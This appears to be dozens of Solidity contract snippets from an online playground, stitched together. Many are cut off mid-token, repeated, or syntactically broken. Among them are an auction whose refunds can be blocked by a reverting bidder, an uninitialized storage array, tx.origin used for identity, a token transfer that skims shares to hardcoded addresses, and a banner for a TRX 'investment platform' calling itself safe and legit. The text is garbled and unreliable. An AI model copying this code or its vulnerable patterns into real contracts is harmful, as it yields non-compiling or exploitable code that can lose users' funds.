pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.7.0 <0.8.0;
contract Person{
string welcomeMessage;
uint personCount = 0;
enum status {active, inactive, deleted}
constructor() {
welcomeMessage = "Welcome to this test contract";
}
struct PersonInfo {
uint serial_number;
uint name;
string email;
uint mobile;
status personStatus;
string location;
string date;
}
PersonInfo[] public persons;
function addPerson(uint serial_number, uint name, string memory email, uint mobile, status personStatus, string memory location, string memory date) public{
personCount ++;
persons[personCount] = PersonInfo(serial_number, name, email, mobile, personStatus, location, date);
}
function getPerson(uint personId) public {
PersonInfo memory person;
person = persons[personId];
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract StructArrayInitWrong {
struct Room {
address[] guests;
}
Room[] rooms;
function createRoom() public {
address[] adr;
adr.push(msg.sender);
Room memory room = Room(adr);
rooms.push(room);
}
function getRoomsLength() view returns (uint) {
return rooms.length;
}
pragma solidity ^0.5.10;
import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';
contract Epsilon {
address payable owner;
event Start(uint256 value);
event End(uint256 value);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint256 public balancebefore;
uint256 public balanceafter;
function() external payable {}
function buyJsSellPolo(address payable dex2, uint256 amountA,address tokenA,address payable dex1, address tokenB, uint256 amountB, uint256 price,uint256 precision, uint256 TrxToPay) public payable onlyOwner {
uint256 balancebefore = address(this).balance;
emit Start(address(this).balance);
emit Start(balancebefore);
TRC20 TokenContract = TRC20(tokenA);
address payable Dex2 = address(dex2);
JustswapExchange DiceFactory=JustswapExchange(dex1);
address (TokenContract).ca
contract SolidityTest {
uint totalSupply;
function f(uint len) public pure {
uint256 a = 99999999999999999999999999999999999999999999999999999999999999999;
uint256 b = 99999999999999999999999999999999999999999999999999999999999999999;
uint256 totalSupply;
while (a >= 1){
uint(a += 999999999999999999999999999999999999999999999999999999999999999);
uint (a * b);
}
totalSupply = (a * b);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
interface tokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData
) public;
}
contract ERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ERC20Token(
string _tokenName,
string _tokenSymbol,
uint8 _decimals,
uint256 _totalSupply
) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
totalSupply = _totalSupply * 10**uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
fpragma solidity ^0.4.26;
contract SimpleStore {
function testGas1(uint a, uint b) pure public returns (bool) {
if (a == 1 && b == 2) {
return true;
}
return false;
}
function testGas2(uint a, uint b) pure public returns (bool) {
return (a == 1 && b == 2);
}
pragma solidity ^0.4.26;
contract SimpleStore {
function testGas1(uint a, uint b) pure public returns (bool) {
if (a == 1 && b == 2) {
return true;
}
return false;
}
function testGas2(uint a, uint b) pure public returns (bool) {
return (a == 1 && b == 2);
}
pragma solidity ^0.5.10;
import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';
contract Epsilon {
address payable owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
JustswapExchange DiceFactory=JustswapExchange(0x60805dDed595bd1D86E148b9db31a777F25F8137);
address payable PoloniDex = address(0x41b3bddae866b2ce2349bdcb59dfbfa1a75f8552da);
TRC20 DiceToken = TRC20(0x416ce0632a762689a207b9cce915e93aa9596816ca);
function Poloapprove(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
ITRC20 TokenContract = ITRC20(_tokenA);
address (TokenContract).call(abi.encodeWithSignature("approve(address,uint256)",PoloniDex,_amountA));
}
function PoloSell(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
address (PoloniDex).call(a//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// @dev using 0.8.0.
// Note: If changing this, Safe Math has to be implemented!
pragma solidity 0.8.0;
contract RGPTokenSale {
address public busd = 0x417Bf7C9dc415FEEb693B6FE313d1186C692600F;
address public rgp = 0x9bF88fAe8CF8BaB76041c1db6467E7b37b977dD7;
address public owner;
uint public price;
uint256 public tokensSold;
uint256 public decimals;
bool public saleActive;
// Emitted when tokens are sold
// SPDX-License-Identifier: MIT
/**
*Submitted for verification at Etherscan.io on 2021-01-03
*/
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface V2 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) e//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
struct Zombie {
uint32 level;
uint32 winCount;
}
Zombie public zombie;
function levelUpZombie() payable public {
require (msg.value == 1 ether || zombie.winCount >= 10 * zombie.level);
zombie.winCount = 0;
zombie.level++;
}
function winBattle() public {
zombie.winCount++;
}
pragma solidity ^0.4.18;
contract CallToTheUnknown {
// Highest bidder becomes the Leader.
address currentLeader;
uint highestBid;
function() public payable {
require(msg.value > highestBid);
require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
currentLeader = msg.sender;
highestBid = msg.value;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid
uint256[] private _allAmountArray;
uint256 private _low = 0;
function findAmountAverage(uint256[] storage array) internal view returns (uint256, uint256) {
if (array.length == 0 || _low == 0) {
return (0, 0);
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
uint256 totalAmount = 0;
uint256 mid = 0;
while (low < high) {
uint256 lowAmount = array[low];
totalAmount = totalAmount.add(lowAmount);
low += 1;
}
mid = totalAmount.div(_low);
return (mid, totalAmount);
}
function _getMid() public view returns(uint256, uint256){
(uint256 mid, uint256 tAmountAvarage) = findAmountAverage(_allAmountArray);
return (mid, tAmountAvarage);
pragma solidity ^0.7.0;
contract DStock{
uint public assetCount;
uint public personCount;
uint public transactionCount;
struct asset{
uint assetId;
string hash;
address creatorAddress;
uint cost;
uint soldCount;
}
struct person{
uint personId;
address personAddress;
uint earning;
uint tokenCount;
uint[] assetsUploaded;
uint[] assetsBought;
bool initialized;
}
mapping (uint => asset) public assets;
mapping (uint => person) public persons;
mapping (address=> uint) public getMyId;
function initializePerson() private {
if(persons[getMyId[msg.sender]].initialized == true) { return; }
persons[personCount].personId = personCount;
persons[personCount].personAddress = msg.sender;
persons[personCount].earning= 0;
persons[personCount].tokenCount = 0 ;
persons[personCount].initialized = true;
persons[pragma solidity ^0.6.12;
contract SimpleStore {
uint256 [] private _allAmountArray;
uint256 _low = 20;
function _getMid() private return(uint256){
return findAmountAverage(_allAmountArray, _low);
}
function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {
if (array.length == 0 || _low > array.length) {
return 0;
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
while (low < high) {
uint256 tLastAmount = 0;
uint256 lowAmount = array[low];
tLastAmount = tLastAmount.add(lowAmount);
low += 1;
}
uint256 mid = tLastAmount.div(_low)
return mid;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
_transfer(_msgSender(), recipient, amount);
return true;
}
uint256 [] private _allAmountArray;
uint256 _low = 20;
function _getMid() private return(uint256){
return findAmountAverage(_allAmountArray, _low);
}
function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {
if (array.length == 0 || _low > array.length) {
return 0;
}
uint256 low = array.length.sub(_low);
uint256 high = array.length;
while (low < high) {
uint256 tLastAmount = 0;
uint256 lowAmount = array[low];
tLastAmount = tLastAmount.add(lowAmount);
low += 1;
}
uint256 mid = tLastAmount.div(_low)
return mid;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
_transfer(_msgSender(), recipient, amount);
return true;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleContract {
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
contract SimpleContract {
function viewFunction() view returns (string) {
return "viewFunction is called";
}
function pureFunction() pure returns (string) {
return "pureFuncion is called";
}
pragma solidity ^0.4.18;
contract SimpleContract {
function viewFunction() view returns (string) {
return "viewFunction is called";
}
function pureFunction() pure returns (string) {
return "pureFuncion is called";
}
pragma solidity ^0.7.1;
contract A {
uint8 a = 0;
}
contract B {
uint256 a = 0;
pragma solidity ^0.5.0;
contract MySolidity Test{
uint Data:
constructor() public{
sData = 10;
}
function getResult(uint n) public view returns(uint){
uint x = n+1:
while(true)
{
if(x =0)
break:
}
return x;
}
pragma solidity ^0.5.12;
contract BlockBank {
uint numberOfAccounts = 0;
uint maxAccountCount = 10;
struct AccountBalance {
address owner;
uint balance;
}
mapping(address => AccountBalance) accounts;
function isAccountExists(address accountAddress) returns(bool) {
return true;
}
function openAccount() payable public {
require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
numberOfAccounts++;
}
}pragma solidity ^0.5.12;
contract BlockBank {
uint numberOfAccounts = 0;
uint maxAccountCount = 10;
struct AccountBalance {
address owner;
uint balance;
}
mapping(address => AccountBalance) accounts;
function isAccountExists(address accountAddress) returns(bool) {
return true;
}
function openAccount() payable public {
require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
numberOfAccounts++;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Counter {
uint value;
function initialize(uint x) public {
value=x;
}
function get() view public returns (uint) {
return value;
}
function increment(uint n) public{
value=value+n;
}
function decrement(uint n)public {
value=value-n;
}
uint value;
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable /**
*Submitted for verification at Etherscan.io on 2020-11-22
*/
// SPDX-License-Identifier: MIT
//ScarcityDeFi.org
//t.me/ScarcityDeFi
/*##################################################
* ############ SCARCE DeFi Token #################
* ##################################################
*
* ##################################################
* ############# ScarcityDeFi.org ###################
* ##################################################
**/
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address frpragma solidity =0.6.6;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';
import '../libraries/UniswapV2Library.sol';
import '../interfaces/V1/IUniswapV1Factory.sol';
import '../interfaces/V1/IUniswapV1Exchange.sol';
import '../interfaces/IUniswapV2Router01.sol';
import '../interfaces/IERC20.sol';
import '../interfaces/IWETH.sol';
contract ExampleFlashSwap is IUniswapV2Callee {
IUniswapV1Factory immutable factoryV1;
address immutable factory;
IWETH immutable WETH;
constructor(address _factory, address _factoryV1, address router) public {
factoryV1 = IUniswapV1Factory(_factoryV1);
factory = _factory;
WETH = IWETH(IUniswapV2Router01(router).WETH());
}
// needs to accept ETH from any V1 exchange and WETH. ideally this could be enforced, as in the router,
// but it's not possible because it requires a call to the v1 factory, which takes too much gas
receive() external payable {}
// gets tokens/WETH via a V2 flash swap, swaps for pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18; // 18 是建议的默认值
uint256 public totalSupply;
mapping (address => uint256) public balanceOf; //
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_t//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract krishna
{
uint public m = 249;
uint public v = 6 ;
uint public count = 0;
function HashIt(uint k) public returns (uint)
{
count++;
uint mo= mod(k);
uint su=sum(mo);
return su;
}
function mod(uint k) view public returns (uint)
{
uint mo=k%m;
return mo;
}
function sum(uint s) view public returns (uint)
{
uint su=s+v;
return su;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract CFunding {
struct Funder {
address funder;
uint256 amount;
}
struct Project {
address owner;
uint256 currentFunds;
uint32 fundingGoal;
uint64 endTimeStamp;
Funder[] funders;
}
mapping(uint32 => Project) data;
function fund(uint32 id) public payable {
if (now > data[id].endTimeStamp)
revert();
data[id].currentFunds += msg.value;
if (data[id].currentFunds > data[id].fundingGoal)
payout(id);
return;
}
function startProject(uint32 fundingGoal, uint64 endTime, uint32 id) public {
data[id].owner = msg.sender;
data[id].endTimeStamp = endTime;
data[id].fundingGoal = fundingGoal;
data[id].currentFunds = 0;
}
function payout(uint32 id) internal {
data[id].currentFunds = 0;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
import "https://github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol";
contract EthCostContract is usingProvable {
uint256 public ETHUSD;
uint256 public USDDiesel;
uint256 public ETHDiesel;
mapping(bytes32=>bool) validIds;
mapping(bytes32=>bool) validIdsDiesel;
event LogConstructorInitiated(string nextStep);
event LogPriceUpdated(string price);
event LogNewProvableQuery(string description, uint queryPrice);
//Solidity 0.6 necesita specificarea modificatorului de acces pentru constructor
constructor () public payable{
emit LogConstructorInitiated("Constructor was initiated. Call 'updatePrice()' to send the Provable Query.");
}
function pay() public payable {}
function balance() public view returns(uint256) {
return address(this).balance;
}
function updatePrice() public payable {
uint queryPrice = provable_getPrice("URL");
if (2 * quer//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract C {
uint256 numOwners = 4;
function eightyPercentSigned(uint256 sigsCount)
public //modified so I can call it
view
returns (bool)
{
uint256 eightyPercentRequiredConfirmations = (numOwners * 80) / 100;
return sigsCount >= eightyPercentRequiredConfirmations;
}
}pragma solidity ^0.6.8;
interface ICERC20 {
function mint(uint256) external returns (uint256);
function redeem(uint256) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function getCash() external returns (uint256);
function accrueInterest() external returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external returns (uint256);
// Links to public address variable from CERC200Storage
function underlying() external returns (address);
}
contract cTokenClient {
address cToken;
constructor(address _cToken) public {
cToken = _cToken;
}
// Single call cost is 40763
function callExchangeRateStored() public returns (uint256) {
return ICERC20(cToken).exchangeRateStored();
}
// Cost of doing 11 calls is 254739
// Doing it exte//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, addrfunction transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
uint256 tokensToStake = findStakePercent(value);
uint256 stakeToTransfer = value.sub(tokensToStake);
uint256 tokenPercent = findTokenPercent(value);
uint256 tokenValue = value.sub(tokenPercent);
// uint256 tokenValue = value.sub(stakeToTransfer.add(tokensToTransfer));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokenValue);
_balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979] = _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979].add(tokensToBurn);
_balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4] = _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4].add(tokensToStake);
emit Transfer(msg.sender, to, tokensToTransfer);
// burns to this addrpragma solidity >=0.4.14 <0.7.0;
contract Challenge {
event Log(string);
uint256[][] data = [[0, 10, 8, 9, 8, 22637],[11, 6, 2, 13, 0, 16996],[13, 5, 1, 0, 10, 24429],[0, 11, 11, 8, 9, 25181],[1, 3, 8, 3, 4, 26727],[4, 4, 9, 9, 6, 24428],[7, 5, 9, 2, 10, 17774],[2, 4, 4, 9, 0, 31858],[10, 11, 12, 9, 6, 24682],[11, 12, 10, 9, 2, 17526],[6, 1, 3, 0, 11, 21355],[1, 9, 8, 6, 0, 23638],[6, 11, 8, 9, 7, 23647],[11, 7, 10, 7, 11, 24431]];
uint256[] csts;
uint256 checksum = 7702;
function check(string memory flag) private returns (bool){
bytes memory b = bytes(flag);
if( b.length != 28) {
return false;
}
for(uint256 i=0;i<b.length/2;i++){
csts.push((uint256(uint8(b[i*2])) * 256) + uint256(uint8(b[i*2+1])) );
}
uint256 x;
for(uint256 i=0;i<14;i++){
x = csts[data[i][0]] ^ csts[data[i][1]] ^ csts[data[i][2]] ^ csts[data[i][3]] ^ csts[data[i][4]];
emit Log("here");
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
int uz;
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
data=_data
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DubsStore {
function set(uint _dubs) public {
dubs = _dubs;
}
function get() public constant returns (uint) {
return dubs;
}
uint dubs;
/*
*
* TRONex - investment platform based on TRX blockchain smart-contract technology. Safe and legit!
*
* ┌───────────────────────────────────────────────────────────────────────┐
* │ Website: https://tronex.net │
* │ │
* │ Telegram Live Support: https://t.me/tronexsupport |
* │ Telegram Public Group: https://t.me/tronexgroup |
* │ Telegram News Channel: https://t.me/tronexnews |
* | |
* | Twitter: https://twitter.com/tronex_net |
* | YouTube: https://www.youtube.com/channel/UCw3ck_M-JGnEkAph4Bb2HYQ |
* | E-mail: [email protected] //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.3;
contract SimpleStore {
function set(uint _value) public {
value = _value;256
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.7.0;
interface IStorage {
function store(uint256 num) external;
function retrieve() external view returns (uint256);
}
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage is IStorage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) external override {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view override returns (uint256){
return number;
}
}
contract A {
function retrieve(address _s) public returns (uint256) {
IStorage s = IStorage(_s);
s.retrieve();
s.retrieve();
}
function retrieveB(address _s) public returns (uint256) {
IStorage(_s).retrieve();
IStorage(_s).retrieve();
}
pragma solidity >=0.4.22 <0.7.0;
interface IStorage {
function store(uint256 num) external;
function retrieve() external view returns (uint256);
}
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage is IStorage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) external override {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view override returns (uint256){
return number;
}
}
contract A {
uint256 a =1;
function retrieve(address _s) public returns (uint256) {
IStorage s = IStorage(_s);
s.retrieve();
s.retrieve();
}
function retrieveB(address _s) public returns (uint256) {
IStorage(_s).retrieve();
IStorage(_s).retrieve();
}
/**
*Submitted for verification at Etherscan.io on 2017-12-28
*/
pragma solidity ^0.4.8;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CST is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 210 * (10**6) * 10**18;
mapping (address => bool) restrictedpragma solidity ^0.4.24;
/* 合約本體 */
contract SimpleAdd {
/* 變數宣告 */
uint number = 0;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
/**
*Submitted for verification at Etherscan.io on 2017-12-28
*/
pragma solidity ^0.4.8;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CST is SafeMath{
string public name;
string public symbol;
address public owner;
uint8 public decimals;
uint256 public totalSupply;
address public icoContractAddress;
uint256 public tokensTotalSupply = 210 * (10**6) * 10**18;
mapping (address => bool) restrictedpragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'WannadiToken' token contract
//
// Deployed to : 0x3116E7801990d294687398ED6b40B5bFbEAfd67f
// Symbol : WNDI
// Name : WannadiToken
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a pragma solidity ^0.5.0;
contract User
{
struct UserInfo
{
string username;
bool exist;
}
mapping(uint256=>UserInfo) public Users;
mapping(address=>uint256) public userByAddr;
uint256[] usersList;
function setUser(string memory _userid,string memory _username) public
{
uint256 id = uint256(keccak256(abi.encodePacked(_userid)));
usersList.push(id);
Users[id].exist = true;
Users[id].username = _username;
userByAddr[tx.origin] = id;
}
pragma solidity >=0.4.22 <0.7.0;
contract voting {
struct Voter {
uint weight;
bool if_voted;
address delegated_to;
uint vote;
}
struct Proposal {
bytes32 name;
uint voteCount;
}
address public chairperson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
constructor(bytes32[] memory proposalNames) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
for (uint i = 0; i < proposalNames.length; i++) {
proposals.push(Proposal({
name: proposalNames[i],
voteCount: 0
}));
}
}
function giveRightToVote(address voter) public {
require(
msg.sender == chairperson,
"Only the chairperson can assign voting rights."
);
require(
!voters[voter].voted,
"The voter has used their ballot."
);
require(voters[voter].weight == 0);
//Write your own contracts here. Currently compiles using solc v0.4.15f.+commit.bbb8e64
pragma solidity ^0.5.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
d
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner =pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
contract ShinonomeContract {
// Genderは列挙型で定義する. リーダビリティに寄与する他、booleanではisFemale等のkeyになるのはよろしくないため。
enum Gender {
Female,
Male
}
/***
* structの命名はPascalCase.
* ageは2^16-1 = 65535もあれば十分.
* 今回は最適化されないが、常に必要なだけのbit数のIntegerを用いるよう気をつける.
* structの最適化については、https://mudit.blog/solidity-gas-optimization-tips/
*/
struct Member {
string name;
uint16 age;
Gender gender;
}
/***
* 変数は基本的にprivateにする。
* publicであると自動でgetterメソッドが生えてしまう。
* プログラムの責任範囲を明確にするために、自前でgetterを用意する.
*/
mapping(address => Member) private addressToMember;
/***
* 関数は問題がない限りexternalにする。gasコスト//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
/* 合約本體 */
contract SimpleAdd {
/* 變數宣告 */
uint number = 44;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
}
contract mortal {
/* Define variable owner of the type address */
